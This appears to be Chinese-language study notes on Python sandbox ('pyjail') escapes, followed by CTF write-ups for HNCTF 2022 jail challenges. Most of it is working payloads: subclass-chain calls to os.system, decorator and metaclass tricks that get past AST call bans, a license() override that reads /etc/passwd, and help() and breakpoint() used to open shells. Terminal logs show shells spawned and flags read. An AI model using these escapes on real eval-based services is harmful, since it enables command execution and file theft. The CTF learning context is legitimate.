exec("for k,v in enumerate(globals()['__builtins__']): print(k,v)")

篡改函数

1
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag2.txt')")
其他不触发 hook 的方式
1
2
3
4
5
6
7
8
9
10
11
12
13
使用 __loader__.load_module('os') 是为了获取 os 模块, 其实在 no builtins 利用手法中, 无需导入也可以获取对应模块. 例如:

# 获取 sys

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"]

# 获取 os

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"]

# 其他的 payload 也都不会触发

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

绕过 AST 沙箱

AST 沙箱会将用户的输入转化为操作码,此时字符串层面的变换基本上没用了,一般情况下考虑绕过 AST 黑名单. 例如下面的沙箱禁止了 ast.Import|ast.ImportFrom|ast.Call 这三类操作, 这样一来就无法导入模块和执行函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import ast
import sys
import os

def verify_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call):
print(f"ERROR: Banned statement {x}")
return False
return True

abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
line = sys.stdin.readline()
if line.startswith("--END"):
break
source_code += line

tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree): # Safe to execute!
print("-- Executing safe code:")
compiled = compile(source_code, "input.py", 'exec')
exec(compiled)

下面的几种利用方式来源于 hacktricks

without call

如果基于 AST 的沙箱限制了执行函数,那么就需要找到一种不需要执行函数的方式执行系统命令.

装饰器

利用 payload 如下:

1
2
3
4
@exec
@input
class X:
pass

当我们输入上述的代码后, Python 会打开输入,此时我们再输入 payload 就可以成功执行命令.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@exec
@input
class X:
pass

<class '__main__.X'>__import__("os").system("ls")

由于装饰器不会被解析为调用表达式或语句, 因此可以绕过黑名单, 最终传入的 payload 是由 input 接收的, 因此也不会被拦截.

其实这样的话,构造其实可以有很多,比如直接打开 help 函数.

@help
class X:
pass
1
2
3
这样可以直接进入帮助文档:

Help on class X in module __main__:

class X(builtins.object)
| Data descriptors defined here:
|
| __dict__
| dictionary for instance variables (if defined)
|
| __weakref__
| list of weak references to the object (if defined)
(END)xxxxxxxxxx Help on class X in module __main__:class X(builtins.object) | Data descriptors defined here: | | __dict__ | dictionary for instance variables (if defined) | | __weakref__ | list of weak references to the object (if defined)(END)1 2 3 4 5 6 7 8 9 10 11 Help on class X in module __main__: class X(builtins.object) | Data descriptors defined here: | | __dict__ | dictionary for instance variables (if defined) | | __weakref__ | list of weak references to the object (if defined) (END)

再次输入 !sh 即可打开 /bin/sh

函数覆盖

1
2
3
4
5
6
7
8
9
10
11
我们知道在 Python 中获取一个的属性例如 obj[argument] 实际上是调用的 obj.__getitem__ 方法.因此我们只需要覆盖其 __getitem__ 方法, 即可在使用 obj[argument] 执行代码:

>>> class A:
>>> ... __getitem__ = exec
>>> ...
>>> A()['__import__("os").system("ls")']
>>> 1
>>> 2
>>> 3
>>> 4
>>> 但是这里调用了 A 的构造函数, 因此 AST 中还是会出现 ast.Call。

metaclass 利用(如何在不执行构造函数的情况下获取类实例呢?)

Python 中提供了一种元类(metaclass)概念。元类是创建类的“类”。在 Python中,类本身也是对象,元类就是创建这些类(即类的对象)的类。

元类在 Python 中的作用主要是用来创建类。类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性,就像类定义了对象的行为和属性一样。

下面是基于元类的 payload, 在不使用构造函数的情况下触发

1
2
3
4
5
6
7
class Metaclass(type):
__getitem__ = exec

class Sub(metaclass=Metaclass):
pass

Sub['import os; os.system("sh")']

除了 getitem 之外其他方法的利用方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

示例:

1
2
3
4
5
6
7
class Metaclass(type):
__sub__ = exec

class Sub(metaclass=Metaclass):
pass

Sub-'import os; os.system("sh")'

exceptions 利用

利用 exceptions 的目的也是为了绕过显示地实例化一个类, 如果一个类继承了 Exception 类, 那么就可以通过 raise 关键字来实例化. payload 如下:

1
2
3
4
5
6
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec

raise RCE

raise 会进入 RCE 的 init, 然后触发 iadd 也就是 exec.

当然, 触发异常不一定需要 raise, 主动地编写错误代码也可以触发,与是就有了如下的几种 payload.

1
2
3
4
5
6
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0

这个 payload 中直接将 sys.excepthook 进行覆盖,任何异常产生时都会触发.

1
2
3
4
5
6
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
# {}[1337]

这个 payload 将 import 函数进行覆盖, 最后的 {}[1337] 在正常情况下会引发 KeyError 异常,因为 Python 在引发异常时会尝试导入某些模块(比如traceback 模块),导入时就会触发 import.

通过 license 函数读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
上面的 payload 修改内建函数 license 的文件名列表为 /etc/passwd 当调用 license() 时会打印这个文件的内容.

__builtins__.__dict__["license"]._Printer__filenames
['/usr/lib/python3.11/../LICENSE.txt', '/usr/lib/python3.11/../LICENSE', '/usr/lib/python3.11/LICENSE.txt', '/usr/lib/python3.11/LICENSE', './LICENSE.txt', './LICENSE']
1
2
payload 中将 help 类的 __enter__ 方法覆盖为 license 方法, 而 with 语句在创建上下文时会调用 help 的__enter__, 从而执行 license 方法. 这里的 help 类只是一个载体, 替换为其他的支持上下文的类或者自定义一个类也是可以的

例如:

1
2
3
4
5
6
7
8
9
class MyContext:
pass

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = MyContext()
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

其他绕过技巧

模拟 no builitins 环境

no builtins 环境和 python 交互式解析器还是有所差异, 但交互式解析器并没有提供指定命名空间的功能,因此可以自己编写一个脚本进行模拟:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def repl():
global_namespace = {}
local_namespace = {}
while True:
try:
code = input('>>> ')
try:
# Try to eval the code first.
result = eval(code, global_namespace, local_namespace)
except SyntaxError:
# If a SyntaxError occurs, this might be because the user entered a statement,
# in which case we should use exec.
exec(code, global_namespace, local_namespace)
else:
print(result)
except EOFError:
break
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
repl()

pyjail的基础payload

1
2
3
4
5
6
7
8
9
10
>>> print(open('/flag').read())
>>> __import__('os').system('cat flag')
>>> __import__('os').system('sh')
>>> #读取文件
>>> ().__class__.__bases__[0].__subclasses__()[40]('\etc\passwd').read()
>>> #写文件
>>> ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input','w').write('123')
>>> #执行任意命令
>>> ().__class__.__bases__[0]__subclass__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html.read()")')
>>>

pyjail的绕过方法

基于长度限制的绕过

1.help
输入help(),这里字符串长度只有6,会进入正常调用eval函数
进入help交互式,然后输入任意一个模块名获得该模块的帮助文档,如sys
在linux中,这里呈现帮助文档时,实际上时调用了系统里的less或者more命令,可以利用这两个命令执行本地命令的特性来获取一个shell,继续按#!,再执行外部命令sh即可
2.breakpoint()
breakpoint()函数可以在程序的任何位置调用。当程序执行到这个位置的时候,它将暂停,并打开一个交互式调试器
3.多次交互进行拼接
“-“函数字符拼接
‘00’
_+’ aaa’
+’ bbb’
eval(
)

基于字符串匹配的过滤的绕过

数字
1.函数返回值
0:int(bool([]))、False、len([])、any(())
1:int(bool([]))、True、all(())、int(list(list(dict(a=())).pop()).pop())
2.字符串取整
len(repr(True))这个的长度为4
len(repr(bytearray))这个的长度为19
3.len+dict+liast
0->len([])这个长度为0
2->len(list(dict(aa=()))[len([])])
3->len(list(dict(aaa=()))[len([])])
这里的原理就是int(bool([]))这个py输出的结果就是0
int(bool([“”]))这个输出的结果是1
那这个的结果是不是1呢len(list(dict(a=()))[len([])])
我去kail里面试了一下,确实是1

属性名
1.getatte函数
2.__getattribute__函数
3.__getattr__函数
4.__globals__替换
5.__mro__、__bases__、__base__互换

基于多行限制的绕过
1.eval(“exec(‘import("os")\nprint(1)’)”)
2.eval(‘’’eval(compile(‘print(“hello world”);print(“heyy”)’,’‘,’exec’))’’’)
3.eval(‘[a:=import(“os”),b:=a.system(“id”)]’)

4.基于模块删除的绕过
基于继承链获取
py2中file类可以直接用来读取文件

1
[].__class__.__base__.__subclasses__()[]('/etc/passwd').read()

python中已经没有了file类了。我们可以使用<class’_frozen_importlib_external.FileLoader’>这个类去读取文件

1
2
{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
{{().__class__.__bases__[0].__subclasses__()[79]("cat /flag",shell=True,stdout=-1).communicate()[0]}}

基于继承链获取
内建函数eval执行命令

1
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

几个含有eval函数的类
·warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWrite
os._wrap_close
reprilib.Repr
weakref.finalize

上面的还是很多内容和我们的这个ssti的内容还是很像的

unicode绕过
对于py2中的input函数的时候,可以直接rce的

获取全局变量的方法
函数利用:vars(),globals()
help():进入help,查__main__

[HNCTF 2022 Week1]calc_jail_beginner(JAIL)

4分
沙盒逃逸JAILLinux命令
题目描述

It’s an great way to learn an python jail from these challenge!

Let’s play it.

Author:crazyman
首先我们需要先在kail里面输入命令

1
2
nc node5.anna.nssctf.cn 26571

注意这个后面的表达方式,之前遇到过一个什么题目的脚本也遇见过这种表达,不是网址冒号接上端口的表述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~]
└─# nc nnce5.anna.nssctf.cn 26571


_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
>

然后就回显了这个
我们这里还看到源码有一个附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`

WELCOME = '''
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

然后我们在kail里面输入我们

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿kali)-[~]
└─# nc nnce5.anna.nssctf.cn 26571


_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> __import__('os').system('cat flag')
flag=NSSCTF{4eb15a21-6993-46d1-8bd7-1150d07fa133}
Answer: 0

[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL)

89分
沙盒逃逸JAILMISC
题目描述

you finish beginner challenge level2.Let’s play an challenge of level3

Now that the length is limited than level2, can u escape this jail?

Author:crazyman

hint:seccon final 2021
给了一份附件
主要是我们的这个长度的限制方面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
WELCOME = '''
_ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ ||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

先输入命令来nc连接一下

1
nc node5.anna.nssctf.cn 20596

先输入一个help()
发现进入了help的这么一个了
再输入os进入了一个os模块
输入!ls就可以执行命令了
这里面有我们的flag和server.py文件

1
2
3
4
5
6
--More--!cat flag
!cat flag
flag=NSSCTF{62415193-ccb5-4db3-8318-1c3485f74946}
------------------------
--More--

最后拿到flag了

[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)

114分
JAIL沙盒逃逸Linux命令
题目描述

evel2 seems have some unintend soluntion

level2.5 is out.Let’s Avenger

Author:crazyman
这里面就是上面讲到的breakpoint函数的使用
还是一样,有一份源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#the length is be limited less than 13
#it seems banned some payload
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)

WELCOME = '''
_ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | |__ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | ) | | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ | / / |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |/ /_ _ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

这里是对于输入的字符有一个限制
这里我试着先去用一下上面的这个help的,发现会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
help> os
Help on module os:

NAME
os - OS routines for NT or Posix depending on what system we're on.

MODULE REFERENCE
https://docs.python.org/3.10/library/os.html

The following documentation is automatically generated from the Python
source files. It may be incomplete, incorrect or include features that
are considered implementation detail and may vary between Python
implementations. When in doubt, consult the module reference at the
location listed above.

DESCRIPTION
This exports:
- all functions from posix or nt, e.g. unlink, stat, etc.
- os.path is either posixpath or ntpath
- os.name is either 'posix' or 'nt'
- os.curdir is a string representing the current directory (always '.')
- os.pardir is a string representing the parent directory (always '..')
- os.sep is the (or a most common) pathname separator ('/' or '\\')
- os.extsep is the extension separator (always '.')
--More--!ls
- os.altsep is the alternate pathname separator (None or '/')

我们这里还是选用另外一个函数

1
2
3
4
5
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb)

这里我们结合一下源码的内容

1
input_data = __import__('os').system('sh')

这个之后就有了可以拿到shell的权限了

1
2
3
4
5
6
7
8
9
10
11
Enter your expression and I will evaluate it for you.
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) input_data = __import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{2bfbd763-56d3-497f-be74-4c9e6d2100b4}

[HNCTF 2022 Week1]python2 input(JAIL)

133分
JAIL沙盒逃逸MISC
题目描述

Let’s have a rest,Did u like the challenge of python2 but it only have an input function.

Can u read the flag

Author:crazyman
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# It's escape this repeat!

WELCOME = '''
_ _ ___ ___ _____ _ _ _
| | | | / _ \ |__ \ |_ _| | | | | |
_ __ _ _| |_| |__ | | | |_ __ ) | | | _ __ _ __ | | | | |_
| '_ \| | | | __| '_ \| | | | '_ \ / / | | | '_ \| '_ \| | | | __|
| |_) | |_| | |_| | | | |_| | | | |/ /_ _| |_| | | | |_) | |__| | |_
| .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
| | __/ | | |
|_| |___/ |_|
'''

print WELCOME

print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data

还是一样,先来nc连接一下
然后

1
2
3
4
5
6
7
8
> __import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{acddb918-2c37-4763-89ef-266f11fcea9a}
$

[HNCTF 2022 Week1]lake lake lake(JAIL)

159分
JAIL沙盒逃逸MISC
题目描述

Cool job of u finished level3

Now it’s time for level4,Try to leak the key!

Author:crazyman

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass

def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")

WELCOME = '''
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
| | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)

首先还是连接一下
还有就是看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 27893

_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ | | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 1
>globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f13e2174a90>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7f13e2313d90>, 'backdoor': <function backdoor at 0x7f13e21d5fc0>, 'WELCOME': '\n _ _ _ _ _ _ \n | | | | | | | | | | | | \n | | __ _| | _____ | | __ _| | _____ | | __ _| | _____ \n | |/ _` | |/ / _ \\ | |/ _` | |/ / _ \\ | |/ _` | |/ / _ | | (_| | < __/ | | (_| | < __/ | | (_| | < __/\n |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___| \n', 'input_data': '1'}

┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 27893

_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ | | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>a34af94e88aed5c34fb5ccfe08cd14ab
>__import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
'flag=NSSCTF{252b4948-fd22-4dcc-9b40-b5f21e77bdfb}

这样拿到flag

[HNCTF 2022 Week1]l@ke l@ke l@ke(JAIL)

163分
JAIL沙盒逃逸MISC
题目描述

seems u finished lake lake lake

Let’s have a try on l@ke l@ke l@ke

G00d luck!!!

Author:crazyman

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
code = input(">")
if(len(code)>6):
return print("you're hacker!")
try:
print(eval(code))
except:
pass

def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")

WELCOME = '''
_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
| | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)

这里我们先看一下这个源码部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# nc node5.anna.nssctf.cn 22007

_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ | | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 1
>globals()
you're hacker!

┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 22007

_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ | | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>
Nooo!!!!

┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 22007

_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ | | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 1
>help()

Welcome to Python 3.10's help utility!

If this is your first time using Python, you should definitely check out
the tutorial on the internet at https://docs.python.org/3.10/tutorial/.

Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules. To quit this help utility and
return to the interpreter, just type "quit".

To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics". Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".

help> __main__
Help on module __main__:

NAME
__main__

DESCRIPTION
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

FUNCTIONS
backdoor()

func()

DATA
WELCOME = '\n _ _ _ _ _ ... ...
__annotations__ = {}
input_data = '1'
key_9d38ee7f31d6126d = '95c720690c2c83f0982ffba63ff87338'

FILE
/home/ctf/server.py
--More--


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 22007

_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ | | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>95c720690c2c83f0982ffba63ff87338
>__import__('os').system('ls')
flag server.py
0

┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 22007

_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ | | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>95c720690c2c83f0982ffba63ff87338
>__import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{465c3922-2296-42bc-8330-1eaacfab7c02}

[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)

71分
JAIL沙盒逃逸MISC
题目描述

you finish beginner challenge.Let’s play an challenge of easy calc

It seems have some filter than beginner challenge. can u escape it?

Author:crazyman

Author:crazyman

